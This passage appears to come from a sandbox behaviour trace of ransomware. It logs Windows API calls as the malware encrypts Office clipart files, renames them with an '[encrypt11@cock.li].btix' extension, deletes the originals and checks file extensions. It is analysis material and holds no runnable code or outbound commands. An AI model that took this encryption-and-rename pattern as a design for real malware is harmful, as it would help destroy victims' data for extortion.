Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.591] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.591] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.592] GetLastError () returned 0x0 [0134.592] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x486, lpOverlapped=0x0) returned 1 [0134.605] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x490, lpOverlapped=0x0) returned 1 [0134.606] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.606] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.607] SetEndOfFile (hFile=0x540) returned 1 [0134.607] CloseHandle (hObject=0x540) returned 1 [0134.607] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.607] SetEndOfFile (hFile=0x52c) returned 1 [0134.609] CloseHandle (hObject=0x52c) returned 1 [0134.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0134.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.610] lstrlenW (lpString=".doc") returned 4 [0134.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.610] lstrlenW (lpString=".docx") returned 5 [0134.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.610] lstrlenW (lpString=".pdf") returned 4 [0134.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.610] lstrlenW (lpString=".xls") returned 4 [0134.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.610] lstrlenW (lpString=".xlsx") returned 5 [0134.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.610] lstrlenW (lpString=".ppt") returned 4 [0134.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.610] lstrlenW (lpString=".zip") returned 4 [0134.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.610] lstrlenW (lpString=".rar") returned 4 [0134.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.610] lstrlenW (lpString=".bz2") returned 4 [0134.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.610] lstrlenW (lpString=".7z") returned 3 [0134.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.610] lstrlenW (lpString=".dbf") returned 4 [0134.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.610] lstrlenW (lpString=".1cd") returned 4 [0134.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.610] lstrlenW (lpString=".jpg") returned 4 [0134.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.611] lstrlenW (lpString=".doc") returned 4 [0134.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.611] lstrlenW (lpString=".docx") returned 5 [0134.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.611] lstrlenW (lpString=".pdf") returned 4 [0134.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.611] lstrlenW (lpString=".xls") returned 4 [0134.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.611] lstrlenW (lpString=".xlsx") returned 5 [0134.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.611] lstrlenW (lpString=".ppt") returned 4 [0134.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.611] lstrlenW (lpString=".zip") returned 4 [0134.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.611] lstrlenW (lpString=".rar") returned 4 [0134.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.611] lstrlenW (lpString=".bz2") returned 4 [0134.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.611] lstrlenW (lpString=".7z") returned 3 [0134.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.611] lstrlenW (lpString=".dbf") returned 4 [0134.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.611] lstrlenW (lpString=".1cd") returned 4 [0134.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0134.612] lstrlenW (lpString=".jpg") returned 4 [0134.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.612] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.612] lstrlenW (lpString="IN00915_.WMF") returned 12 [0134.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.613] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=12748) returned 1 [0134.613] CloseHandle (hObject=0x52c) returned 1 [0134.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0134.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.613] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.614] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.614] GetLastError () returned 0x0 [0134.614] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0134.616] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0134.617] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.617] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.617] SetEndOfFile (hFile=0x540) returned 1 [0134.617] CloseHandle (hObject=0x540) returned 1 [0134.617] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.617] SetEndOfFile (hFile=0x52c) returned 1 [0134.619] CloseHandle (hObject=0x52c) returned 1 [0134.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0134.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.620] lstrlenW (lpString=".doc") returned 4 [0134.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.620] lstrlenW (lpString=".docx") returned 5 [0134.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.620] lstrlenW (lpString=".pdf") returned 4 [0134.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.620] lstrlenW (lpString=".xls") returned 4 [0134.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.621] lstrlenW (lpString=".xlsx") returned 5 [0134.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.621] lstrlenW (lpString=".ppt") returned 4 [0134.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.621] lstrlenW (lpString=".zip") returned 4 [0134.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.621] lstrlenW (lpString=".rar") returned 4 [0134.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.621] lstrlenW (lpString=".bz2") returned 4 [0134.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.621] lstrlenW (lpString=".7z") returned 3 [0134.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.621] lstrlenW (lpString=".dbf") returned 4 [0134.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.621] lstrlenW (lpString=".1cd") returned 4 [0134.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.621] lstrlenW (lpString=".jpg") returned 4 [0134.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.621] lstrlenW (lpString=".doc") returned 4 [0134.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.621] lstrlenW (lpString=".docx") returned 5 [0134.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.621] lstrlenW (lpString=".pdf") returned 4 [0134.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.622] lstrlenW (lpString=".xls") returned 4 [0134.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.622] lstrlenW (lpString=".xlsx") returned 5 [0134.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.622] lstrlenW (lpString=".ppt") returned 4 [0134.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.622] lstrlenW (lpString=".zip") returned 4 [0134.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.622] lstrlenW (lpString=".rar") returned 4 [0134.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.622] lstrlenW (lpString=".bz2") returned 4 [0134.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.642] lstrlenW (lpString=".7z") returned 3 [0134.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.642] lstrlenW (lpString=".dbf") returned 4 [0134.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.642] lstrlenW (lpString=".1cd") returned 4 [0134.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0134.642] lstrlenW (lpString=".jpg") returned 4 [0134.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.642] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.642] lstrlenW (lpString="IN00919_.WMF") returned 12 [0134.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.662] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6920) returned 1 [0134.662] CloseHandle (hObject=0x52c) returned 1 [0134.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0134.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.663] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.663] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.663] GetLastError () returned 0x0 [0134.663] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0134.665] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0134.666] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.666] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.666] SetEndOfFile (hFile=0x540) returned 1 [0134.666] CloseHandle (hObject=0x540) returned 1 [0134.666] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.666] SetEndOfFile (hFile=0x52c) returned 1 [0134.668] CloseHandle (hObject=0x52c) returned 1 [0134.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString=".doc") returned 4 [0134.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString=".docx") returned 5 [0134.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.670] lstrlenW (lpString=".pdf") returned 4 [0134.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString=".xls") returned 4 [0134.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.670] lstrlenW (lpString=".xlsx") returned 5 [0134.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.670] lstrlenW (lpString=".ppt") returned 4 [0134.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString=".zip") returned 4 [0134.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.670] lstrlenW (lpString=".rar") returned 4 [0134.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString=".bz2") returned 4 [0134.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString=".7z") returned 3 [0134.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString=".dbf") returned 4 [0134.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString=".1cd") returned 4 [0134.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString=".jpg") returned 4 [0134.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.670] lstrlenW (lpString=".doc") returned 4 [0134.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.671] lstrlenW (lpString=".docx") returned 5 [0134.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.671] lstrlenW (lpString=".pdf") returned 4 [0134.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.671] lstrlenW (lpString=".xls") returned 4 [0134.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.671] lstrlenW (lpString=".xlsx") returned 5 [0134.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.671] lstrlenW (lpString=".ppt") returned 4 [0134.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.671] lstrlenW (lpString=".zip") returned 4 [0134.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.671] lstrlenW (lpString=".rar") returned 4 [0134.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.671] lstrlenW (lpString=".bz2") returned 4 [0134.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.671] lstrlenW (lpString=".7z") returned 3 [0134.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.671] lstrlenW (lpString=".dbf") returned 4 [0134.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.671] lstrlenW (lpString=".1cd") returned 4 [0134.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0134.671] lstrlenW (lpString=".jpg") returned 4 [0134.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.671] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.671] lstrlenW (lpString="IN00956_.WMF") returned 12 [0134.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.672] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1256) returned 1 [0134.672] CloseHandle (hObject=0x52c) returned 1 [0134.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0134.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.673] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.673] SetFilePointerEx (in: hFile=0x52c, 